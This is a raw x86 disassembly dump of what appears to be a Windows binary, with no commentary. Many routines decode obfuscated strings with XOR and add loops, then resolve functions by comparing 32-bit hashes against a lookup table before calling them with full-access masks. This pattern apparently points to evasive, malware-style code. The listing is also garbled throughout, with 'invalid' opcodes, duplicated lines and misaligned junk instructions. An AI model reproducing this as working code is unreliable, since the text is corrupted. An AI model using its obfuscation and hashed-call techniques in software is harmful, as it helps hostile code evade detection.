mov ecx, dword [esp + 0x764]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov esi, dword [esp + 0x4c]
mov ecx, esi
sub ecx, 1
sete al
mov dword [esp + 0x6e0], eax
mov eax, dword [esp + 0x6e4]
mov ecx, dword [esp + 0x6e0]
mov eax, dword [eax + ecx*4]
jmp eax
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x41ce7c
movzx esi, dl
mov edi, esi
test dword [ebx - 0x7e0f19], 0xe0
test dword [ebx - 0x7e0f19], 0xe0
je 0x41ce40
test dl, dl
jns 0x41ce40
mov edx, esi
and edx, 0xffffffe0
cmp edx, 0xc0
je 0x41ce40
and esi, 0xfffffff8
cmp esi, 0xf0
jne 0x41ce41
add eax, 2
jmp 0x41ce41
add ch, bl
invalid
pop esi
pop edi
ret
mov eax, esi
pop esi
ret 4
add byte [eax], al
add byte [ecx], dh
call dword [eax - 0x6f6f6f70]
nop
nop
nop
nop
nop
nop
movzx ebx, word [ecx]
xor edx, edx
test bx, bx
setne dl
lea ecx, [ecx + edx*2]
mov word [eax], bx
add eax, 2
inc edi
cmp ebp, edi
jne 0x41cee0
mov edx, esi
sub edx, edi
cmp esi, 4
inc byte [edx + esi*2]
pushal
inc byte [edx + esi*2]
pushal
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, word [ecx]
xor ebx, ebx
test si, si
setne bl
lea edi, [ecx + ebx*2]
mov word [eax], si
movzx ecx, word [ecx + ebx*2]
xor ebx, ebx
test cx, cx
setne bl
lea esi, [edi + ebx*2]
mov word [eax + 2], cx
movzx ecx, word [edi + ebx*2]
xor ebx, ebx
test cx, cx
setne bl
lea edi, [esi + ebx*2]
mov word [eax + 4], cx
movzx esi, word [esi + ebx*2]
xor ecx, ecx
test si, si
setne cl
mov word [eax + 6], si
add eax, 8
lea ecx, [edi + ecx*2]
add edx, 0xfffffffc
jne 0x41cf10
pop esi
pop edi
pop ebx
pop ebp
ret
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x41d02a
movzx ebp, dl
mov edi, ebp
and edi, 0xfffffff0
cmp edi, 0xe0
je 0x41cff0
test dl, dl
jns 0x41cff0
mov edx, ebp
and edx, 0xffffffe0
cmp edx, 0xc0
je 0x41cff0
and ebp, 0xfffffff8
cmp ebp, 0xf0
lock add byte [eax], al
add byte [ebp - 0x34], dh
lock add byte [eax], al
add byte [ebp - 0x34], dh
add eax, 2
jmp case.0x41025c.282
add ch, bl
invalid
mov edi, eax
inc edi
jns 0x41d036
mov eax, 0xffffffff
jmp 0x41d03d
lea eax, [eax*2 + 2]
mov ecx, dword [esp + 0x14]
push eax
mov ebp, ecx
call fcn.0040cd40
add esp, 4
mov dword [esi], eax
push 0
push ebp
push edi
push eax
call case.0x40e7f4.14
add esp, 0x10
mov eax, dword [esp + 0x18]
movzx edx, byte [eax]
test dl, dl
mov ecx, 2
je 0x41d0d1
lea ecx, [eax + 1]
xor eax, eax
jmp 0x41d089
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x41d0ba
movzx edi, dl
mov ebx, edi
and ebx, 0xfffffff0
cmp ebx, 0xe0
je 0x41d080
test dl, dl
jns 0x41d080
invalid
jecxz 0x41d027
mov edx, edi
cli
and edx, 0xffffffe0
cmp edx, 0xc0
je 0x41d080
and edi, 0xfffffff8
cmp edi, 0xf0
jne 0x41d081
add eax, 2
jmp 0x41d081
mov ebx, eax
inc ebx
jns 0x41d0c6
mov ecx, 0xffffffff
jmp 0x41d0cd
lea ecx, [eax*2 + 2]
mov eax, dword [esp + 0x18]
push ecx
mov edi, eax
call fcn.0040cd40
add esp, 4
mov dword [esi + 4], eax
push 0
push edi
push ebx
push eax
call case.0x40e7f4.14
add esp, 0x10
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
call fcn.0040cd50
add esp, 4
pop esi
ret
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov dword [ecx], 0
mov dword [ecx + 4], eax
movzx edx, byte [edi]
test dl, dl
je 0x41d1b6
lea ecx, [edi + 1]
xor eax, eax
jmp 0x41d179
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x41d1aa
movzx ebx, dl
mov ebp, ebx
and ebp, 0xfffffff0
cmp ebp, 0xe0
add byte [eax], al
add byte [eax], al
je 0x41d170
test dl, dl
jns 0x41d170
mov edx, ebx
and edx, 0xffffffe0
cmp edx, 0xc0
je 0x41d170
and ebx, 0xfffffff8
cmp ebx, 0xf0
jne 0x41d171
add eax, 2
jmp 0x41d171
mov ebx, eax
inc ebx
jns 0x41d1c2
mov eax, 0xffffffff
jmp 0x41d1c9
mov eax, 2
mov ebx, 1
jmp 0x41d1c9
lea eax, [eax*2 + 2]
push eax
call fcn.0040cd40
add esp, 4
add al, 0x89
push es
add al, 0x89
push es
push 0
push edi
push ebx
push eax
call case.0x40e7f4.14
add esp, 0x10
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret 8
add al, 0x31
rcl byte [eax - 0x6f6f6f70], 0x90
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax], 0
lea eax, [eax + 2]
jne 0x41d2d0
sar edi, 1
lea ecx, [esi + eax]
add ecx, 0xfffffffe
mov eax, esi
not eax
and eax, ecx
xor ecx, esi
add eax, eax
sub eax, ecx
mov ecx, eax
sar ecx, 1
and eax, 2
xor ecx, 1
add eax, edi
lea edx, [ecx + eax]
inc edx
test edx, edx
jns 0x41d309
mov eax, 0xffffffff
jmp 0x41d312
add eax, ecx
lea eax, [eax*2 + 2]
push eax
call fcn.0040cd40
add esp, 4
mov ebx, eax
movzx ecx, word [esi]
test cx, cx
je 0x41d341
add esi, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x41d330
mov word [eax], 0x5c
add eax, 2
movzx ecx, word [ebp]
test cx, cx
je 0x41d371
lea edx, [ebp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d360
mov word [eax], 0
lea eax, [esp + 0xc]
push 0x60
pushal
pushal
push 3
push 0x120089
push eax
push ebx
call fcn.004447e0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44af84]
and al, 0x8b
push esp
and al, 0x30
mov edi, dword [edx]
xor eax, eax
cmp word [edi + eax], 0
lea eax, [eax + 2]
jne 0x41d420
lea ecx, [edi + eax]
add ecx, 0xfffffffe
mov eax, edi
not eax
and eax, ecx
xor ecx, edi
add eax, eax
sub eax, ecx
mov esi, dword [edx + 8]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + ecx], 0
lea ecx, [ecx + 2]
jne 0x41d450
sar eax, 1
lea edx, [esi + ecx]
add edx, 0xfffffffe
mov ecx, esi
not ecx
and ecx, edx
xor edx, esi
add ecx, ecx
sub ecx, edx
sar ecx, 1
stc
stc
mov edx, dword [esp]
add edx, eax
lea eax, [ecx + edx]
add eax, 3
test eax, eax
jns 0x41d486
mov eax, 0xffffffff
jmp 0x41d48f
add edx, ecx
lea eax, [edx*2 + 6]
push eax
call fcn.0040cd40
add esp, 4
movzx ecx, word [edi]
mov dword [esp], eax
test cx, cx
je 0x41d4c1
add edi, 2
mov eax, dword [esp]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x41d4b0
mov word [eax], 0x2f
add eax, 2
movzx edx, word [esi]
test dx, dx
je 0x41d4f3
add esi, 2
mov ecx, dword [esp + 0x2c]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x41d4e0
jmp 0x41d4f7
mov ecx, dword [esp + 0x2c]
mov word [eax], 0x2f
add eax, 2
movzx edx, word [ebp]
test dx, dx
je 0x41d524
add ebp, 2
mov esi, dword [esp]
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [ebp]
add ebp, 2
test dx, dx
jne 0x41d510
jmp 0x41d527
mov esi, dword [esp]
mov word [eax], 0
push dword [esp + 4]
push dword [esp + 0x14]
push esi
call fcn.0040d840
mov ecx, eax
jmp dword [0x44af9c]
int3
push dword [esi + 0x14]
call fcn.0040cd50
add esp, 4
invalid
add al, 0x8b
inc esi
add al, 0x24
add dword [eax], ecx
fmul dword [ecx + 0x7e8b0446]
adc byte [ecx + 0x1e083f8], cl
mov eax, dword [esi + 4]
and al, 1
or al, bl
mov dword [esi + 4], eax
mov edi, dword [esi + 0x10]
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
mov ebx, dword [esi + 0x24]
push ebx
call fcn.00404d00
add esp, 4
xor ecx, ecx
cmp edi, eax
setb cl
jmp dword [ecx*4 + 0x44b548]
mov dword [esi + 0x10], edi
push edi
push ebx
call fcn.00404d10
add esp, 8
movzx edx, byte [eax]
test dl, dl
mov dword [esi + 0x14], eax
je 0x41d6c0
lea ecx, [eax + 1]
xor eax, eax
jmp 0x41d689
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x41d6c2
test dl, dl
jns 0x41d680
movzx edx, dl
mov edi, edx
and edi, 0xffffffe0
cmp edi, 0xc0
je 0x41d680
mov edi, edx
and edi, 0xfffffff0
cmp edi, 0xe0
je 0x41d680
salc
salc
and edx, 0xfffffff8
cmp edx, 0xf0
jne case.0x41025c.290
add eax, 2
jmp case.0x41025c.290
xor eax, eax
mov ebx, eax
inc ebx
mov edi, 0xffffffff
jns 0x41d6e0
mov eax, 0xffffffff
jmp 0x41d6e7
lea eax, [eax*2 + 2]
push eax
call fcn.0040cd40
add esp, 4
les eax, [edx + ebp*2]
add bh, bh
jbe 0x41d709
les eax, [edx + ebp*2]
add bh, bh
jbe 0x41d709
push ebx
mov dword [esi + 0x14], eax
push eax
call case.0x40e7f4.14
add esp, 0x10
mov eax, dword [esi + 0x30]
add ebx, dword [eax]
js 0x41d70d
add ebx, ebx
mov edi, ebx
push edi
call fcn.0040cd40
add esp, 4
mov edi, eax
mov eax, dword [esi + 0x2c]
movzx ecx, word [eax]
mov bh, 8
mov bh, 8
mov eax, edi
test cx, cx
mov ebx, dword [esi + 0x14]
je 0x41d741
mov edx, dword [esi + 0x18]
mov eax, edi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d730
mov word [eax], 0x5c
add eax, 2
movzx ecx, word [ebx]
add byte [eax + eax - 0x7d], bl
rol byte [edx], 0xf
mov bh, 0xb
test cx, cx
je 0x41d771
mov edx, ebx
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d760
mov word [eax], 0
push dword [esi + 0xa4]
push edi
call fcn.00444990
add esp, 8
not eax
shr eax, 0x1f
pop ds
pop ds
jmp dword [eax*4 + 0x44b550]
xor eax, eax
mov ecx, dword [esi + 0xa4]
test byte [ecx], 0x10
sete al
jmp dword [eax*4 + 0x44b558]
mov eax, dword [esi + 0x2c]
movzx eax, word [eax]
mov ecx, edi
test ax, ax
test eax, eax
test eax, eax
je 0x41d7d1
mov edx, dword [esi + 0x18]
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], ax
add ecx, 2
movzx eax, word [edx]
add edx, 2
test ax, ax
jne 0x41d7c0
mov word [ecx], 0
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [esi + 0xc4]
les eax, [eax]
add byte [eax], al
les eax, [eax]
add byte [eax], al
mov dword [ecx], eax
mov dword [ecx + 8], ebx
mov dword [ecx + 4], edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ecx
push dword [ebp + 8]
call fcn.004214d0
add esp, 0x10
mov ebx, eax
jmp dword [0x44b560]
push edi
call fcn.0040cd50
add esp, 4
jmp dword [0x44b568]
jmp dword [0x44b568]
jmp 0x41f5d5
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x41d840
cmp eax, 0xffffffef
mov dword [esi + 0x10], ecx
jge 0x41d85a
mov eax, 0xffffffff
jmp 0x41d85d
add eax, 0x10
push eax
call fcn.0040cd40
add esp, 4
mov dword [esi + 4], eax
mov eax, dword [esi + 0x34]
mov dword [eax], 0x21ba27f5
mov dword [eax + 4], 0xddf423b0
mov dword [eax + 8], 0xd956df50
mov dword [eax + 0xc], 0xd5dadb54
mov word [eax + 0x10], 0
mov byte [eax + 0x12], 0
add byte [ecx], dh
rcl byte [eax - 0x6f6f6f70], 0x90
add byte [ecx], dh
rcl byte [eax - 0x6f6f6f70], 0x90
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x34]
movzx edx, byte [ecx + eax]
mov ecx, eax
and ecx, 0x1f
add ecx, 0xfb354979
xor ecx, edx
mov edx, ecx
and edx, 0xa0
mov ebx, ecx
and ebx, 2
mov edi, ebx
xor edi, 2
imul edi, edx
or edx, 2
imul edx, ebx
lea ebx, [ecx + ecx]
and ebx, 0x44
sub ecx, ebx
add ecx, edi
add ecx, edx
mov edx, dword [esi + 0x34]
add cl, 0xa3
mov byte [edx + eax], cl
inc eax
cmp eax, 0x13
jne 0x41d8a0
mov edi, dword [esi + 0x10]
movzx ecx, word [edi]
mov ebx, dword [esi + 4]
mov eax, ebx
test cx, cx
je 0x41d911
add edi, 2
mov eax, ebx
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x41d900
mov word [eax], 0
movzx ecx, word [edx]
test cx, cx
mov edi, dword [esi + 0x20]
je 0x41d941
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d930
mov word [eax], 0
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0x44]
push dword [eax]
push dword [eax + 4]
push ebx
call fcn.0040d840
jmp dword [0x44b3a0]
add byte [ebx + 0x4e8b08c4], al
inc esp
push dword [ecx + 4]
call eax
jmp dword [0x44b3a8]
push dword [esi + 0x14]
call fcn.0040cd50
add esp, 4
mov ebx, dword [esi + 4]
inc ebx
mov edi, dword [esi + 0x34]
push edi
call fcn.00404d00
jae case.0x41025c.179
inc dword [ebx - 0x36cefb3c]
jae case.0x41025c.179
inc dword [ebx - 0x36cefb3c]
cmp ebx, eax
setb cl
jmp dword [ecx*4 + 0x44b440]
mov dword [esi + 4], ebx
push ebx
push edi
call fcn.00404d10
add esp, 8
movzx ecx, byte [eax]
xor ebx, ebx
test cl, cl
je 0x41da10
mov edi, eax
inc edi
xor ebx, ebx
jmp 0x41d9d9
inc ebx
movzx ecx, byte [edi]
inc edi
test cl, cl
je 0x41da10
test cl, cl
jns 0x41d9d0
movzx ecx, cl
mov edx, ecx
and edx, 0xffffffe0
cmp edx, 0xc0
je 0x41d9d0
mov edx, ecx
and edx, 0xfffffff0
cmp edx, 0xe0
je 0x41d9d0
and ecx, 0xfffffff8
cmp ecx, 0xf0
jne 0x41d9d1
add ebx, 2
jmp 0x41d9d1
mov dword [esi + 0x14], eax
mov edi, ebx
inc edi
lea eax, [ebx + ebx + 2]
jns 0x41da21
mov eax, 0xffffffff
push eax
call fcn.0040cd40
add esp, 4
push 0
push dword [esi + 0x14]
push edi
mov dword [esi + 0x10], eax
push eax
call case.0x40e7f4.14
add esp, 0x10
mov eax, 0xfffffffe
mov ecx, dword [esi + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x41da50
sar eax, 1
lea ecx, [ebx + eax]
lea edx, [ebx + eax]
add edx, 0x1a
lea eax, [ecx*2 + 0x34]
test edx, edx
mov edi, dword [esi + 0x9c]
jns 0x41da7c
mov eax, 0xffffffff
push eax
call fcn.0040cd40
add esp, 4
mov dword [esi + 0x14], eax
mov word [eax], 0x22
mov dword [edi], 0x77160966
mov dword [edi + 4], 0x73277521
mov dword [edi + 8], 0x7fe071e0
mov dword [edi + 0xc], 0x7bd07def
mov dword [edi + 0x10], 0x67f279d1
mov dword [edi + 0x14], 0x633765c9
mov dword [edi + 0x18], 0x6fc761cc
mov dword [edi + 0x1c], 0x6bc76df2
mov dword [edi + 0x20], 0x57ca69c7
mov dword [edi + 0x24], 0x53cc55c7
mov dword [edi + 0x28], 0x5f1b51c9
mov dword [edi + 0x2c], 0x5b5a5d32
mov dword [edi + 0x30], 0
mov eax, 0xe5c488be
mov ebx, dword [esi + 0xbc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edi + eax + 0x1a3b7742]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x4a
mov byte [edi + eax + 0x1a3b7742], cl
inc eax
cmp eax, 0xe5c488f2
jne 0x41db00
mov eax, dword [esi + 0x14]
add eax, 2
mov ecx, dword [esi + 0x18]
movzx ecx, word [ecx]
test cx, cx
je 0x41db51
mov edx, dword [esi + 0x1c]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41db40
mov word [eax], 0
movzx ecx, word [edi]
test cx, cx
je 0x41db83
mov edx, dword [esi + 0x38]
mov edi, dword [esi + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41db70
jmp 0x41db86
mov edi, dword [esi + 0x10]
mov word [eax], 0
movzx ecx, word [edi]
test cx, cx
je 0x41dbb1
mov edx, edi
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41dba0
mov dword [eax], 0x22
jmp dword [0x44b448]
push edi
call fcn.0040cd50
add esp, 4
jmp dword [0x44b450]
jmp dword [0x44b450]
jmp dword [eax*4 + 0x44b4b8]
mov eax, dword [esi + 0x64]
mov ecx, dword [eax]
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0x4f
xor dl, byte [esi + eax + 8]
add dl, 0x75
mov byte [esi + eax + 8], dl
inc eax
cmp eax, 7
jne 0x41dc10
mov eax, dword [esi + 8]
mov edx, dword [0x450710]
test edx, edx
je case.default.0x41dca7
xor edi, edi
mov ebx, dword [0x450714]
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xcd14d4e
je 0x41dc53
inc edi
cmp edx, edi
jne 0x41dc40
mov ebx, dword [esi + 0x78]
jmp case.default.0x41dca7
mov edx, dword [ebx + edi*8 + 4]
cmp edx, eax
mov ebx, dword [esi + 0x78]
je case.default.0x41dca7
push dword [esi + 0x90]
push ebx
push dword [esi + 0xb8]
push dword [esi + 0xa0]
push ecx
push 5
push dword [0x450718]
push edx
call fcn.00441310
add esp, 0x20
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0x102
setne cl
or eax, dword [ebx]
setns al
and al, cl
movzx ecx, al
mov eax, 1
jmp dword [ecx*4 + 0x44b490]
mov ecx, dword [esi + 0xa0]
mov ecx, dword [ecx]
xor edx, edx
mov edi, dword [esi + 0x4c]
cmp ecx, dword [edi]
sete dl
jmp dword [edx*4 + 0x44b498]
mov ecx, dword [ebx + 4]
mov edi, ebx
mov ebx, dword [esi + 0x10]
and bl, 1
cmp ecx, 6
sete dl
cmp ecx, 7
sete cl
or bl, dl
mov dword [esi + 0x10], ebx
mov ebx, edi
setne dl
and dl, cl
movzx ecx, dl
jmp dword [ecx*4 + 0x44b4b0]
mov eax, dword [esi + 0x98]
mov dword [eax + 4], 0xffffffff
mov dword [eax], 0xfff0bdc0
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0x4f
xor cl, byte [esi + eax + 8]
add cl, 0x75
mov byte [esi + eax + 8], cl
inc eax
cmp eax, 7
jne 0x41dd20
mov eax, dword [0x450710]
test eax, eax
je case.default.0x41dd8c
mov ecx, dword [esi + 8]
xor edx, edx
mov edi, dword [0x450714]
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x3568c09b
je 0x41dd60
inc edx
cmp eax, edx
jne 0x41dd50
jmp case.default.0x41dd8c
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne 0x41dd71
xor eax, eax
jmp dword [eax*4 + 0x44b4b8]
push dword [esi + 0x98]
push 0
push 2
push dword [0x450718]
push eax
call fcn.00441310
add esp, 0x14
xor eax, eax
jmp dword [eax*4 + 0x44b4b8]
jmp case.0x41e10b.0
cmp dword [edi + ebx*8], 0xb62b8d10
je 0x41ddb0
inc ebx
cmp ecx, ebx
jne 0x41dda0
jmp case.0x41e0d2.0
mov ecx, dword [edi + ebx*8 + 4]
cmp ecx, edx
je case.0x41e0d2.0
push eax
push 1
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x10
mov eax, dword [esi + 0x4c]
mov eax, dword [eax]
mov dword [esi + 8], 0xd8dbdac5
lea ecx, [esi + 0xc]
mov byte [ecx + 2], 0
mov word [ecx], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x4f
xor dl, byte [esi + ecx + 8]
add dl, 0x75
mov byte [esi + ecx + 8], dl
inc ecx
cmp ecx, 7
jne 0x41ddf0
mov ecx, dword [0x450710]
test ecx, ecx
je case.0x41eb89.19
mov edx, dword [esi + 8]
xor ebx, ebx
mov edi, dword [0x450714]
nop
nop
nop
nop
nop
cmp dword [edi + ebx*8], 0xb62b8d10
je 0x41de30
inc ebx
cmp ecx, ebx
jne 0x41de20
jmp case.0x41eb89.19
mov ecx, dword [edi + ebx*8 + 4]
cmp ecx, edx
je case.0x41eb89.19
push eax
push 1
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x10
jmp dword [0x44b4c0]
jmp dword [0x44b4c0]
mov dword [ebx], 0x18
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x4f
xor cl, byte [esi + eax + 8]
add cl, 0x75
mov byte [esi + eax + 8], cl
inc eax
cmp eax, 7
jne 0x41dea0
mov eax, dword [0x450710]
test eax, eax
je case.0x41eb89.15
mov ecx, dword [esi + 8]
xor edx, edx
mov edi, dword [0x450714]
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xa56ecdb0
je 0x41dee0
inc edx
cmp eax, edx
jne 0x41ded0
jmp case.0x41eb89.15
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je case.0x41eb89.15
push ebx
push 0x1f003f
pop ds
add bh, bh
jbe 0x41df3d
pop ds
add bh, bh
jbe 0x41df3d
push 3
push dword [0x450718]
push eax
call fcn.00441310
add esp, 0x18
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebx], 0x18
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
fcmovu st(0), st(3)
fmul dword [ebp + 0x40c60c46]
add al, byte [eax]
mov word [eax], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x4f
xor cl, byte [esi + eax + 8]
add cl, 0x75
mov byte [esi + eax + 8], cl
inc eax
cmp eax, 7
jne 0x41df50
mov eax, dword [esi + 8]
mov ecx, dword [0x450710]
test ecx, ecx
je 0x41dfa0
xor edx, edx
mov edi, dword [0x450714]
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xa56ecdb0
je 0x41df90
inc edx
cmp ecx, edx
jne 0x41df80
jmp 0x41dfa0
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
jne 0x41e010
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44b458]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b460]
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x4f
xor cl, byte [esi + eax + 8]
add cl, 0x75
mov byte [esi + eax + 8], cl
inc eax
cmp eax, 7
jne 0x41dfd0
mov eax, dword [esi + 8]
mov ecx, dword [0x450710]
test ecx, ecx
je case.default.0x41e0d2
xor edx, edx
mov edi, dword [0x450714]
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xd219799a
je 0x41e030
inc edx
cmp ecx, edx
jne 0x41e000
jmp case.default.0x41e0d2
push ebx
push 0x1f003f
push dword [esi + 0x4c]
push 3
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x18
jmp dword [0x44b458]
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
jne 0x41e0b0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b468]
mov eax, dword [esi + 0x4c]
mov ecx, dword [eax]
mov edx, dword [esi + 0x8c]
mov dword [edx], ecx
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
mov dword [edx + 4], eax
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
mov edx, eax
add dl, 0x4f
xor dl, byte [esi + eax + 8]
add dl, 0x75
mov byte [esi + eax + 8], dl
inc eax
cmp eax, 7
jne 0x41e070
mov eax, dword [esi + 8]
mov edx, dword [0x450710]
test edx, edx
je case.default.0x41e10b
xor edi, edi
mov ebx, dword [0x450714]
nop
nop
nop
nop
nop
dec dword [ebx + 0x4507141d]
add byte [eax - 0x6f6f6f70], dl
cmp dword [ebx + edi*8], 0xfdba5c7a
je 0x41e0d9
inc edi
cmp edx, edi
jne 0x41e0a0
jmp case.default.0x41e10b
push 1
push 0
push 0x1f0003
push dword [esi + 0x64]
push 4
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x1c
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b468]
mov edx, dword [ebx + edi*8 + 4]
cmp edx, eax
je case.default.0x41e10b
push 8
push dword [esi + 0x8c]
push 7
push ecx
push 4
push dword [0x450718]
push edx
call fcn.00441310
add esp, 0x1c
not eax
shr eax, 0x1f
mov edi, dword [esi + 0xb4]
mov ebx, dword [esi + 0x60]
jmp dword [eax*4 + 0x44b470]
jmp dword [0x44b478]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44b488]
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
mov dword [esi + 8], 0xd8dbdac5
lea ecx, [esi + 0xc]
mov byte [ecx + 2], 0
mov word [ecx], 0
xor ecx, ecx
mov edx, ecx
add dl, 0x4f
xor dl, byte [esi + ecx + 8]
add dl, 0x75
mov byte [esi + ecx + 8], dl
inc ecx
cmp ecx, 7
jne 0x41e140
mov ecx, dword [0x450710]
test ecx, ecx
je case.0x41e0d2.0
mov edx, dword [esi + 8]
xor ebx, ebx
mov edi, dword [0x450714]
jmp 0x41dda0
mov eax, dword [ebx]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x4c]
mov ecx, dword [eax]
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
mov word [eax], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edx
add al, 0x4f
xor al, byte [esi + edx + 8]
add al, 0x75
mov byte [esi + edx + 8], al
inc edx
cmp edx, 7
jne 0x41e1a0
mov edx, dword [0x450710]
test edx, edx
je 0x41e1f6
mov ebx, dword [esi + 8]
xor eax, eax
mov edi, dword [0x450714]
cmp dword [edi + eax*8], 0x48d2620d
je 0x41e1d9
inc eax
cmp edx, eax
jne 0x41e1c9
jmp 0x41e1f6
mov eax, dword [edi + eax*8 + 4]
cmp eax, ebx
je 0x41e1f6
push dword [esi + 0x10]
push ecx
push 2
push dword [0x450718]
push eax
call fcn.00441310
add esp, 0x14
mov eax, dword [esi + 0x60]
mov eax, dword [eax + 4]
mov dword [esi + 8], 0xd8dbdac5
lea ecx, [esi + 0xc]
mov byte [ecx + 2], 0
mov word [ecx], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x4f
xor dl, byte [esi + ecx + 8]
add dl, 0x75
mov byte [esi + ecx + 8], dl
inc ecx
cmp ecx, 7
jne 0x41e220
mov ecx, dword [0x450710]
test ecx, ecx
je 0x41e281
mov edx, dword [esi + 8]
xor edi, edi
